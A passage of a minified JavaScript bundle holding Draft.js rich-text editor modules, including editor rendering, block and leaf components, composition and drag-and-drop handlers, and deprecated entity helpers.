r._clipboard})),s(a(r),"update",(function(t){r._latestEditorState=t,r.props.onChange(t)})),s(a(r),"onDragEnter",(function(){r._dragCount++})),s(a(r),"onDragLeave",(function(){r._dragCount--,0===r._dragCount&&r.exitCurrentMode()})),r._blockSelectEvents=!1,r._clipboard=null,r._handler=null,r._dragCount=0,r._editorKey=e.editorKey||k(),r._placeholderAccessibilityID="placeholder-"+r._editorKey,r._latestEditorState=e.editorState,r._latestCommittedEditorState=e.editorState,r._onBeforeInput=r._buildHandler("onBeforeInput"),r._onBlur=r._buildHandler("onBlur"),r._onCharacterData=r._buildHandler("onCharacterData"),r._onCompositionEnd=r._buildHandler("onCompositionEnd"),r._onCompositionStart=r._buildHandler("onCompositionStart"),r._onCopy=r._buildHandler("onCopy"),r._onCut=r._buildHandler("onCut"),r._onDragEnd=r._buildHandler("onDragEnd"),r._onDragOver=r._buildHandler("onDragOver"),r._onDragStart=r._buildHandler("onDragStart"),r._onDrop=r._buildHandler("onDrop"),r._onInput=r._buildHandler("onInput"),r._onFocus=r._buildHandler("onFocus"),r._onKeyDown=r._buildHandler("onKeyDown"),r._onKeyPress=r._buildHandler("onKeyPress"),r._onKeyUp=r._buildHandler("onKeyUp"),r._onMouseDown=r._buildHandler("onMouseDown"),r._onMouseUp=r._buildHandler("onMouseUp"),r._onPaste=r._buildHandler("onPaste"),r._onSelect=r._buildHandler("onSelect"),r.getEditorKey=function(){return r._editorKey},r.state={contentsKey:0},r}u(e,t);var n=e.prototype;return n._buildHandler=function(t){var e=this;return function(r){if(!e.props.readOnly){var n=e._handler&&e._handler[t];n&&(g?g((function(){return n(e,r)})):n(e,r))}}},n._showPlaceholder=function(){return!!this.props.placeholder&&!this.props.editorState.isInCompositionMode()&&!this.props.editorState.getCurrentContent().hasText()},n._renderPlaceholder=function(){if(this._showPlaceholder()){var t={text:T(this.props.placeholder),editorState:this.props.editorState,textAlignment:this.props.textAlignment,accessibilityID:this._placeholderAccessibilityID};return _.createElement(y,t)}return null},n._renderARIADescribedBy=function(){var t=this.props.ariaDescribedBy||"",e=this._showPlaceholder()?this._placeholderAccessibilityID:"";return t.replace("{{editor_id_placeholder}}",e)||void 0},n.render=function(){var t=this.props,e=t.blockRenderMap,r=t.blockRendererFn,n=t.blockStyleFn,a=t.customStyleFn,s=t.customStyleMap,u=t.editorState,c=t.preventScroll,f=t.readOnly,h=t.textAlignment,d=t.textDirectionality,g=x({"DraftEditor/root":!0,"DraftEditor/alignLeft":"left"===h,"DraftEditor/alignRight":"right"===h,"DraftEditor/alignCenter":"center"===h}),y=this.props.role||"textbox",v="combobox"===y?!!this.props.ariaExpanded:null,m={blockRenderMap:e,blockRendererFn:r,blockStyleFn:n,customStyleMap:o({},l,s),customStyleFn:a,editorKey:this._editorKey,editorState:u,preventScroll:c,textDirectionality:d};return _.createElement("div",{className:g},this._renderPlaceholder(),_.createElement("div",{className:x("DraftEditor/editorContainer"),ref:this._handleEditorContainerRef},_.createElement("div",{"aria-activedescendant":f?null:this.props.ariaActiveDescendantID,"aria-autocomplete":f?null:this.props.ariaAutoComplete,"aria-controls":f?null:this.props.ariaControls,"aria-describedby":this._renderARIADescribedBy(),"aria-expanded":f?null:v,"aria-label":this.props.ariaLabel,"aria-labelledby":this.props.ariaLabelledBy,"aria-multiline":this.props.ariaMultiline,"aria-owns":f?null:this.props.ariaOwneeID,autoCapitalize:this.props.autoCapitalize,autoComplete:this.props.autoComplete,autoCorrect:this.props.autoCorrect,className:x({notranslate:!f,"public/DraftEditor/content":!0}),contentEditable:!f,"data-testid":this.props.webDriverTestID,onBeforeInput:this._onBeforeInput,onBlur:this._onBlur,onCompositionEnd:this._onCompositionEnd,onCompositionStart:this._onCompositionStart,onCopy:this._onCopy,onCut:this._onCut,onDragEnd:this._onDragEnd,onDragEnter:this.onDragEnter,onDragLeave:this.onDragLeave,onDragOver:this._onDragOver,onDragStart:this._onDragStart,onDrop:this._onDrop,onFocus:this._onFocus,onInput:this._onInput,onKeyDown:this._onKeyDown,onKeyPress:this._onKeyPress,onKeyUp:this._onKeyUp,onMouseUp:this._onMouseUp,onPaste:this._onPaste,onSelect:this._onSelect,ref:this.props.editorRef,role:f?null:y,spellCheck:A&&this.props.spellCheck,style:{outline:"none",userSelect:"text",WebkitUserSelect:"text",whiteSpace:"pre-wrap",wordWrap:"break-word"},suppressContentEditableWarning:!0,tabIndex:this.props.tabIndex},_.createElement(L,{editor:this,editorState:u}),_.createElement(p,i({},m,{key:"contents"+this.state.contentsKey})))))},n.componentDidMount=function(){this._blockSelectEvents=!1,!B&&O("draft_ods_enabled")&&(B=!0,v.initODS()),this.setMode("edit"),M&&(this.editor?this.editor.ownerDocument.execCommand("AutoUrlDetect",!1,!1):r.g.execCommand("AutoUrlDetect",!1,!1))},n.componentDidUpdate=function(){this._blockSelectEvents=!1,this._latestEditorState=this.props.editorState,this._latestCommittedEditorState=this.props.editorState},e}(_.Component);s(R,"defaultProps",{ariaDescribedBy:"{{editor_id_placeholder}}",blockRenderMap:c,blockRendererFn:function(){return null},blockStyleFn:function(){return""},keyBindingFn:C,readOnly:!1,spellCheck:!1,stripPastedStyles:!1}),t.exports=R},37898:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}var o=r(42282),a=r(22146),s=r(99196),u=r(65994),c=r(19051),l=r(54191),f=r(16633),p=r(62620),h=r(55258),d=r(79749),g=r(70746),y=r(73759),v=r(20717),m=r(22045),_=function(t,e){return t.getAnchorKey()===e||t.getFocusKey()===e},b=function(t){var e,r;function n(){for(var e,r,n,i,o=arguments.length,a=new Array(o),s=0;s<o;s++)a[s]=arguments[s];return i=void 0,(n="_node")in(r=function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(e=t.call.apply(t,[this].concat(a))||this))?Object.defineProperty(r,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):r[n]=i,e}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var b=n.prototype;return b.shouldComponentUpdate=function(t){return this.props.block!==t.block||this.props.tree!==t.tree||this.props.direction!==t.direction||_(t.selection,t.block.getKey())&&t.forceSelection},b.componentDidMount=function(){if(!this.props.preventScroll){var t=this.props.selection,e=t.getEndKey();if(t.getHasFocus()&&e===this.props.block.getKey()){var r=this._node;if(null!=r){var n,i=c.getScrollParent(r),o=d(i);if(i===window){var a=h(r);(n=a.y+a.height-g().height)>0&&window.scrollTo(o.x,o.y+n+10)}else v(r)||y(!1),(n=r.offsetHeight+r.offsetTop-(i.offsetTop+i.offsetHeight+o.y))>0&&u.setTop(i,u.getTop(i)+n+10)}}}},b._renderChildren=function(){var t=this,e=this.props.block,r=e.getKey(),n=e.getText(),u=this.props.tree.size-1,c=_(this.props.selection,r);return this.props.tree.map((function(p,h){var d=p.get("leaves");if(0===d.size)return null;var g=d.size-1,y=d.map((function(i,l){var f=a.encode(r,h,l),p=i.get("start"),d=i.get("end");return s.createElement(o,{key:f,offsetKey:f,block:e,start:p,selection:c?t.props.selection:null,forceSelection:t.props.forceSelection,text:n.slice(p,d),styleSet:e.getInlineStyleAt(p),customStyleMap:t.props.customStyleMap,customStyleFn:t.props.customStyleFn,isLast:h===u&&l===g})})).toArray(),v=p.get("decoratorKey");if(null==v)return y;if(!t.props.decorator)return y;var _=m(t.props.decorator),b=_.getComponentForKey(v);if(!b)return y;var S=_.getPropsForKey(v),w=a.encode(r,h,0),x=d.first().get("start"),k=d.last().get("end"),C=n.slice(x,k),E=e.getEntityAt(p.get("start")),O=f.getHTMLDirIfDifferent(l.getDirection(C),t.props.direction),D={contentState:t.props.contentState,decoratedText:C,dir:O,start:x,end:k,blockKey:r,entityKey:E,offsetKey:w};return s.createElement(b,i({},S,D,{key:w}),y)})).toArray()},b.render=function(){var t=this,e=this.props,r=e.direction,n=e.offsetKey,i=p({"public/DraftStyleDefault/block":!0,"public/DraftStyleDefault/ltr":"LTR"===r,"public/DraftStyleDefault/rtl":"RTL"===r});return s.createElement("div",{"data-offset-key":n,className:i,ref:function(e){return t._node=e}},this._renderChildren())},n}(s.Component);t.exports=b},25821:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}function o(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){a(t,e,r[e])}))}return t}function a(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var s=r(59513),u=r(22146),c=r(99196),l=r(65994),f=r(19051),p=r(55258),h=r(79749),d=r(70746),g=r(43393),y=r(73759),v=r(20717),m=(g.List,function(t,e){return t.getAnchorKey()===e||t.getFocusKey()===e}),_=function(t,e){var r=e.get(t.getType())||e.get("unstyled"),n=r.wrapper;return{Element:r.element||e.get("unstyled").element,wrapperTemplate:n}},b=function(t,e){var r=e(t);return r?{CustomComponent:r.component,customProps:r.props,customEditable:r.editable}:{}},S=function(t,e,r,n,i,a){var s={"data-block":!0,"data-editor":e,"data-offset-key":r,key:t.getKey(),ref:a},u=n(t);return u&&(s.className=u),void 0!==i.customEditable&&(s=o({},s,{contentEditable:i.customEditable,suppressContentEditableWarning:!0})),s},w=function(t){var e,r;function n(){for(var e,r=arguments.length,n=new Array(r),i=0;i<r;i++)n[i]=arguments[i];return a(function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(e=t.call.apply(t,[this].concat(n))||this),"wrapperRef",c.createRef()),e}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var g=n.prototype;return g.shouldComponentUpdate=function(t){var e=this.props,r=e.block,n=e.direction,i=e.tree,o=!r.getChildKeys().isEmpty(),a=r!==t.block||i!==t.tree||n!==t.direction||m(t.selection,t.block.getKey())&&t.forceSelection;return o||a},g.componentDidMount=function(){var t=this.props.selection,e=t.getEndKey();if(t.getHasFocus()&&e===this.props.block.getKey()){var r=this.wrapperRef.current;if(r){var n,i=f.getScrollParent(r),o=h(i);if(i===window){var a=p(r);(n=a.y+a.height-d().height)>0&&window.scrollTo(o.x,o.y+n+10)}else{v(r)||y(!1);var s=r;(n=s.offsetHeight+s.offsetTop-(i.offsetHeight+o.y))>0&&l.setTop(i,l.getTop(i)+n+10)}}}},g.render=function(){var t=this,e=this.props,r=e.block,a=e.blockRenderMap,l=e.blockRendererFn,f=e.blockStyleFn,p=e.contentState,h=e.decorator,d=e.editorKey,g=e.editorState,y=e.customStyleFn,v=e.customStyleMap,w=e.direction,x=e.forceSelection,k=e.selection,C=e.tree,E=null;r.children.size&&(E=r.children.reduce((function(e,r){var i=u.encode(r,0,0),s=p.getBlockForKey(r),h=b(s,l),y=h.CustomComponent||n,v=_(s,a),m=v.Element,w=v.wrapperTemplate,x=S(s,d,i,f,h,null),k=o({},t.props,{tree:g.getBlockTree(r),blockProps:h.customProps,offsetKey:i,block:s});return e.push(c.createElement(m,x,c.createElement(y,k))),!w||function(t,e){var r=t.getNextSiblingKey();return!!r&&e.getBlockForKey(r).getType()===t.getType()}(s,p)||function(t,e,r){var n=[],i=!0,o=!1,a=void 0;try{for(var s,l=r.reverse()[Symbol.iterator]();!(i=(s=l.next()).done);i=!0){var f=s.value;if(f.type!==e)break;n.push(f)}}catch(t){o=!0,a=t}finally{try{i||null==l.return||l.return()}finally{if(o)throw a}}r.splice(r.indexOf(n[0]),n.length+1);var p=n.reverse(),h=p[0].key;r.push(c.cloneElement(t,{key:"".concat(h,"-wrap"),"data-offset-key":u.encode(h,0,0)},p))}(w,m,e),e}),[]));var O=r.getKey(),D=u.encode(O,0,0),K=b(r,l),T=K.CustomComponent,M=null!=T?c.createElement(T,i({},this.props,{tree:g.getBlockTree(O),blockProps:K.customProps,offsetKey:D,block:r})):c.createElement(s,{block:r,children:E,contentState:p,customStyleFn:y,customStyleMap:v,decorator:h,direction:w,forceSelection:x,hasSelection:m(k,O),selection:k,tree:C});if(r.getParentKey())return M;var A=_(r,a).Element,I=S(r,d,D,f,K,this.wrapperRef);return c.createElement(A,I,M)},n}(c.Component);t.exports=w},33418:(t,e,r)=>{"use strict";var n=r(77907),i=r(42307),o=r(22146),a=r(14289),s=r(25399),u=r(4856),c=r(14507),l=r(84907),f=r(1244),p=r(42128),h=r(22045),d=u.isBrowser("IE"),g=!1,y=!1,v=null,m={onCompositionStart:function(t){y=!0,function(t){v||(v=new n(l(t))).start()}(t)},onCompositionEnd:function(t){g=!1,y=!1,setTimeout((function(){g||m.resolveComposition(t)}),20)},onSelect:c,onKeyDown:function(t,e){if(!y)return m.resolveComposition(t),void t._onKeyDown(e);e.which!==s.RIGHT&&e.which!==s.LEFT||e.preventDefault()},onKeyPress:function(t,e){e.which===s.RETURN&&e.preventDefault()},resolveComposition:function(t){if(!y){var e=h(v).stopAndFlushMutations();v=null,g=!0;var r=a.set(t._latestEditorState,{inCompositionMode:!1});if(t.exitCurrentMode(),e.size){var n=r.getCurrentContent();e.forEach((function(t,e){var s=o.decode(e),u=s.blockKey,c=s.decoratorKey,l=s.leafKey,f=r.getBlockTree(u).getIn([c,"leaves",l]),h=f.start,d=f.end,g=r.getSelection().merge({anchorKey:u,focusKey:u,anchorOffset:h,focusOffset:d,isBackward:!1}),y=p(n,g),v=n.getBlockForKey(u).getInlineStyleAt(h);n=i.replaceText(n,g,t,v,y),r=a.set(r,{currentContent:n})}));var s=f(r,l(t)).selectionState;t.restoreEditorDOM();var u=d?a.forceSelection(r,s):a.acceptSelection(r,s);t.update(a.push(u,n,"insert-characters"))}else t.update(r)}}};t.exports=m},88795:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}function o(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){a(t,e,r[e])}))}return t}function a(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var s=r(37898),u=r(22146),c=r(99196),l=r(62620),f=r(71108),p=r(22045),h=function(t,e,r,n){return l({"public/DraftStyleDefault/unorderedListItem":"unordered-list-item"===t,"public/DraftStyleDefault/orderedListItem":"ordered-list-item"===t,"public/DraftStyleDefault/reset":r,"public/DraftStyleDefault/depth0":0===e,"public/DraftStyleDefault/depth1":1===e,"public/DraftStyleDefault/depth2":2===e,"public/DraftStyleDefault/depth3":3===e,"public/DraftStyleDefault/depth4":e>=4,"public/DraftStyleDefault/listLTR":"LTR"===n,"public/DraftStyleDefault/listRTL":"RTL"===n})},d=function(t){var e,r;function n(){return t.apply(this,arguments)||this}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var a=n.prototype;return a.shouldComponentUpdate=function(t){var e=this.props.editorState,r=t.editorState;if(e.getDirectionMap()!==r.getDirectionMap())return!0;if(e.getSelection().getHasFocus()!==r.getSelection().getHasFocus())return!0;var n=r.getNativelyRenderedContent(),i=e.isInCompositionMode(),o=r.isInCompositionMode();if(e===r||null!==n&&r.getCurrentContent()===n||i&&o)return!1;var a=e.getCurrentContent(),s=r.getCurrentContent(),u=e.getDecorator(),c=r.getDecorator();return i!==o||a!==s||u!==c||r.mustForceSelection()},a.render=function(){for(var t=this.props,e=t.blockRenderMap,r=t.blockRendererFn,n=t.blockStyleFn,a=t.customStyleMap,l=t.customStyleFn,d=t.editorState,g=t.editorKey,y=t.preventScroll,v=t.textDirectionality,m=d.getCurrentContent(),_=d.getSelection(),b=d.mustForceSelection(),S=d.getDecorator(),w=p(d.getDirectionMap()),x=m.getBlocksAsArray(),k=[],C=null,E=null,O=0;O<x.length;O++){var D=x[O],K=D.getKey(),T=D.getType(),M=r(D),A=void 0,I=void 0,B=void 0;M&&(A=M.component,I=M.props,B=M.editable);var L=v||w.get(K),R=u.encode(K,0,0),N={contentState:m,block:D,blockProps:I,blockStyleFn:n,customStyleMap:a,customStyleFn:l,decorator:S,direction:L,forceSelection:b,offsetKey:R,preventScroll:y,selection:_,tree:d.getBlockTree(K)},F=e.get(T)||e.get("unstyled"),P=F.wrapper,z=F.element||e.get("unstyled").element,j=D.getDepth(),U="";n&&(U=n(D)),"li"===z&&(U=f(U,h(T,j,E!==P||null===C||j>C,L)));var q=A||s,H={className:U,"data-block":!0,"data-editor":g,"data-offset-key":R,key:K};void 0!==B&&(H=o({},H,{contentEditable:B,suppressContentEditableWarning:!0}));var W=c.createElement(z,H,c.createElement(q,i({},N,{key:K})));k.push({block:W,wrapperTemplate:P,key:K,offsetKey:R}),C=P?D.getDepth():null,E=P}for(var V=[],G=0;G<k.length;){var J=k[G];if(J.wrapperTemplate){var X=[];do{X.push(k[G].block),G++}while(G<k.length&&k[G].wrapperTemplate===J.wrapperTemplate);var Y=c.cloneElement(J.wrapperTemplate,{key:J.key+"-wrap","data-offset-key":J.offsetKey},X);V.push(Y)}else V.push(J.block),G++}return c.createElement("div",{"data-contents":"true"},V)},n}(c.Component);t.exports=d},87791:(t,e,r)=>{"use strict";var n=r(68642)("draft_tree_data_support");t.exports=r(n?69459:88795)},69459:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}var o=r(25821),a=r(22146),s=r(99196),u=r(22045),c=function(t){var e,r;function n(){return t.apply(this,arguments)||this}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var c=n.prototype;return c.shouldComponentUpdate=function(t){var e=this.props.editorState,r=t.editorState;if(e.getDirectionMap()!==r.getDirectionMap())return!0;if(e.getSelection().getHasFocus()!==r.getSelection().getHasFocus())return!0;var n=r.getNativelyRenderedContent(),i=e.isInCompositionMode(),o=r.isInCompositionMode();if(e===r||null!==n&&r.getCurrentContent()===n||i&&o)return!1;var a=e.getCurrentContent(),s=r.getCurrentContent(),u=e.getDecorator(),c=r.getDecorator();return i!==o||a!==s||u!==c||r.mustForceSelection()},c.render=function(){for(var t=this.props,e=t.blockRenderMap,r=t.blockRendererFn,n=t.blockStyleFn,c=t.customStyleMap,l=t.customStyleFn,f=t.editorState,p=t.editorKey,h=t.textDirectionality,d=f.getCurrentContent(),g=f.getSelection(),y=f.mustForceSelection(),v=f.getDecorator(),m=u(f.getDirectionMap()),_=[],b=d.getBlocksAsArray()[0];b;){var S=b.getKey(),w={blockRenderMap:e,blockRendererFn:r,blockStyleFn:n,contentState:d,customStyleFn:l,customStyleMap:c,decorator:v,editorKey:p,editorState:f,forceSelection:y,selection:g,block:b,direction:h||m.get(S),tree:f.getBlockTree(S)},x=(e.get(b.getType())||e.get("unstyled")).wrapper;_.push({block:s.createElement(o,i({key:S},w)),wrapperTemplate:x,key:S,offsetKey:a.encode(S,0,0)});var k=b.getNextSiblingKey();b=k?d.getBlockForKey(k):null}for(var C=[],E=0;E<_.length;){var O=_[E];if(O.wrapperTemplate){var D=[];do{D.push(_[E].block),E++}while(E<_.length&&_[E].wrapperTemplate===O.wrapperTemplate);var K=s.cloneElement(O.wrapperTemplate,{key:O.key+"-wrap","data-offset-key":O.offsetKey},D);C.push(K)}else C.push(O.block),E++}return s.createElement("div",{"data-contents":"true"},C)},n}(s.Component);t.exports=c},3259:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}var o=r(22146),a=r(99196),s=r(54191),u=r(16633),c=function(t){var e,r;function n(){return t.apply(this,arguments)||this}return r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r,n.prototype.render=function(){var t=this.props,e=t.block,r=t.children,n=t.contentState,c=t.decorator,l=t.decoratorKey,f=t.direction,p=t.leafSet,h=t.text,d=e.getKey(),g=p.get("leaves"),y=c.getComponentForKey(l),v=c.getPropsForKey(l),m=o.encode(d,parseInt(l,10),0),_=h.slice(g.first().get("start"),g.last().get("end")),b=u.getHTMLDirIfDifferent(s.getDirection(_),f);return a.createElement(y,i({},v,{contentState:n,decoratedText:_,dir:b,key:m,entityKey:e.getEntityAt(p.get("start")),offsetKey:m}),r)},n}(a.Component);t.exports=c},61494:(t,e,r)=>{"use strict";var n=r(44891),i=r(42307),o=r(14289),a=r(69270),s=r(75795),u=r(21738),c=r(94486),l=r(48083),f=r(42177),p=r(22045),h={onDragEnd:function(t){t.exitCurrentMode(),d(t)},onDrop:function(t,e){var r=new n(e.nativeEvent.dataTransfer),l=t._latestEditorState,h=function(t,e){var r=null,n=null,i=s(t.currentTarget);if("function"==typeof i.caretRangeFromPoint){var o=i.caretRangeFromPoint(t.x,t.y);r=o.startContainer,n=o.startOffset}else{if(!t.rangeParent)return null;r=t.rangeParent,n=t.rangeOffset}r=p(r),n=p(n);var u=p(a(r));return c(e,u,n,u,n)}(e.nativeEvent,l);if(e.preventDefault(),t._dragCount=0,t.exitCurrentMode(),null!=h){var y=r.getFiles();if(y.length>0){if(t.props.handleDroppedFiles&&f(t.props.handleDroppedFiles(h,y)))return;u(y,(function(e){e&&t.update(g(l,h,e))}))}else{var v=t._internalDrag?"internal":"external";t.props.handleDrop&&f(t.props.handleDrop(h,r,v))||(t._internalDrag?t.update(function(t,e){var r=i.moveText(t.getCurrentContent(),t.getSelection(),e);return o.push(t,r,"insert-fragment")}(l,h)):t.update(g(l,h,r.getText()))),d(t)}}}};function d(t){t._internalDrag=!1;var e=t.editorContainer;if(e){var r=new MouseEvent("mouseup",{view:l(e),bubbles:!0,cancelable:!0});e.dispatchEvent(r)}}function g(t,e,r){var n=i.insertText(t.getCurrentContent(),e,r,t.getCurrentInlineStyle());return o.push(t,n,"insert-fragment")}t.exports=h},19394:(t,e,r)=>{"use strict";var n=r(4856),i=r(26396),o=r(43421),a=r(6155),s=r(69328),u=r(73935),c=r(39499),l=r(80981),f=r(62186),p=r(29971),h=r(46397),d=r(6089),g=r(14507),y=n.isBrowser("Chrome"),v=n.isBrowser("Firefox"),m=y||v?g:function(t){},_={onBeforeInput:i,onBlur:o,onCompositionStart:a,onCopy:s,onCut:u,onDragOver:c,onDragStart:l,onFocus:f,onInput:p,onKeyDown:h,onPaste:d,onSelect:g,onMouseUp:m,onKeyUp:m};t.exports=_},4083:(t,e,r)=>{"use strict";var n=r(91850).unstable_flushControlled;t.exports=n},42282:(t,e,r)=>{"use strict";var n=r(27418),i=r(80052),o=r(99196),a=r(73759),s=r(16581),u=r(45412).setDraftEditorSelection,c=function(t){var e,r;function c(){for(var e,r,n,i,o=arguments.length,a=new Array(o),s=0;s<o;s++)a[s]=arguments[s];return i=void 0,(n="leaf")in(r=function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(e=t.call.apply(t,[this].concat(a))||this))?Object.defineProperty(r,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):r[n]=i,e}r=t,(e=c).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var l=c.prototype;return l._setSelection=function(){var t=this.props.selection;if(null!=t&&t.getHasFocus()){var e=this.props,r=e.block,n=e.start,i=e.text,o=r.getKey(),c=n+i.length;if(t.hasEdgeWithin(o,n,c)){var l=this.leaf;l||a(!1);var f,p=l.firstChild;p||a(!1),p.nodeType===Node.TEXT_NODE?f=p:s(p)?f=l:(f=p.firstChild)||a(!1),u(t,f,o,n,c)}}},l.shouldComponentUpdate=function(t){var e=this.leaf;return e||a(!1),e.textContent!==t.text||t.styleSet!==this.props.styleSet||t.forceSelection},l.componentDidUpdate=function(){this._setSelection()},l.componentDidMount=function(){this._setSelection()},l.render=function(){var t=this,e=this.props.block,r=this.props.text;r.endsWith("\n")&&this.props.isLast&&(r+="\n");var a=this.props,s=a.customStyleMap,u=a.customStyleFn,c=a.offsetKey,l=a.styleSet,f=l.reduce((function(t,e){var r={},i=s[e];return void 0!==i&&t.textDecoration!==i.textDecoration&&(r.textDecoration=[t.textDecoration,i.textDecoration].join(" ").trim()),n(t,i,r)}),{});if(u){var p=u(l,e);f=n(f,p)}return o.createElement("span",{"data-offset-key":c,ref:function(e){return t.leaf=e},style:f},o.createElement(i,null,r))},c}(o.Component);t.exports=c},59513:(t,e,r)=>{"use strict";var n=r(3259),i=r(42282),o=r(22146),a=r(43393),s=r(99196),u=r(62620),c=(a.List,function(t){var e,r;function a(){return t.apply(this,arguments)||this}return r=t,(e=a).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r,a.prototype.render=function(){var t=this.props,e=t.block,r=t.contentState,a=t.customStyleFn,c=t.customStyleMap,l=t.decorator,f=t.direction,p=t.forceSelection,h=t.hasSelection,d=t.selection,g=t.tree,y=e.getKey(),v=e.getText(),m=g.size-1,_=this.props.children||g.map((function(t,u){var g=t.get("decoratorKey"),_=t.get("leaves"),b=_.size-1,S=_.map((function(t,r){var n=o.encode(y,u,r),l=t.get("start"),f=t.get("end");return s.createElement(i,{key:n,offsetKey:n,block:e,start:l,selection:h?d:null,forceSelection:p,text:v.slice(l,f),styleSet:e.getInlineStyleAt(l),customStyleMap:c,customStyleFn:a,isLast:g===m&&r===b})})).toArray();return g&&l?s.createElement(n,{block:e,children:S,contentState:r,decorator:l,decoratorKey:g,direction:f,leafSet:t,text:v,key:u}):S})).toArray();return s.createElement("div",{"data-offset-key":o.encode(y,0,0),className:u({"public/DraftStyleDefault/block":!0,"public/DraftStyleDefault/ltr":"LTR"===f,"public/DraftStyleDefault/rtl":"RTL"===f})},_)},a}(s.Component));t.exports=c},28094:(t,e,r)=>{"use strict";var n=r(99196),i=r(62620),o=function(t){var e,r;function o(){return t.apply(this,arguments)||this}r=t,(e=o).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var a=o.prototype;return a.shouldComponentUpdate=function(t){return this.props.text!==t.text||this.props.editorState.getSelection().getHasFocus()!==t.editorState.getSelection().getHasFocus()},a.render=function(){var t=this.props.editorState.getSelection().getHasFocus(),e=i({"public/DraftEditorPlaceholder/root":!0,"public/DraftEditorPlaceholder/hasFocus":t});return n.createElement("div",{className:e},n.createElement("div",{className:i("public/DraftEditorPlaceholder/inner"),id:this.props.accessibilityID,style:{whiteSpace:"pre-wrap"}},this.props.text))},o}(n.Component);t.exports=o},80052:(t,e,r)=>{"use strict";function n(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(99196),a=r(4856),s=r(73759),u=r(84368),c=a.isBrowser("IE <= 11"),l=function(t){var e,r;function a(e){var r;return i(n(r=t.call(this,e)||this),"_forceFlag",void 0),i(n(r),"_node",void 0),r._forceFlag=!1,r}r=t,(e=a).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var l=a.prototype;return l.shouldComponentUpdate=function(t){var e=this._node,r=""===t.children;u(e)||s(!1);var n=e;return r?!function(t){return c?"\n"===t.textContent:"BR"===t.tagName}(n):n.textContent!==t.children},l.componentDidMount=function(){this._forceFlag=!this._forceFlag},l.componentDidUpdate=function(){this._forceFlag=!this._forceFlag},l.render=function(){var t,e=this;return""===this.props.children?this._forceFlag?(t=function(t){return e._node=t},c?o.createElement("span",{key:"A","data-text":"true",ref:t},"\n"):o.createElement("br",{key:"A","data-text":"true",ref:t})):function(t){return c?o.createElement("span",{key:"B","data-text":"true",ref:t},"\n"):o.createElement("br",{key:"B","data-text":"true",ref:t})}((function(t){return e._node=t})):o.createElement("span",{key:this._forceFlag?"A":"B","data-text":"true",ref:function(t){return e._node=t}},this.props.children)},a}(o.Component);t.exports=l},5880:t=>{"use strict";t.exports={initODS:function(){},handleExtensionCausedError:function(){}}},82222:(t,e,r)=>{"use strict";function n(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var i=r(39006),o=r(43393),a=r(73759),s=r(76363),u=(0,o.Map)(),c=s();function l(t,e){console.warn("WARNING: "+t+' will be deprecated soon!\nPlease use "'+e+'" instead.')}var f={getLastCreatedEntityKey:function(){return l("DraftEntity.getLastCreatedEntityKey","contentState.getLastCreatedEntityKey"),f.__getLastCreatedEntityKey()},create:function(t,e,r){return l("DraftEntity.create","contentState.createEntity"),f.__create(t,e,r)},add:function(t){return l("DraftEntity.add","contentState.addEntity"),f.__add(t)},get:function(t){return l("DraftEntity.get","contentState.getEntity"),f.__get(t)},__getAll:function(){return u},__loadWithEntities:function(t){u=t,c=s()},mergeData:function(t,e){return l("DraftEntity.mergeData","contentState.mergeEntityData"),f.__mergeData(t,e)},replaceData:function(t,e){return 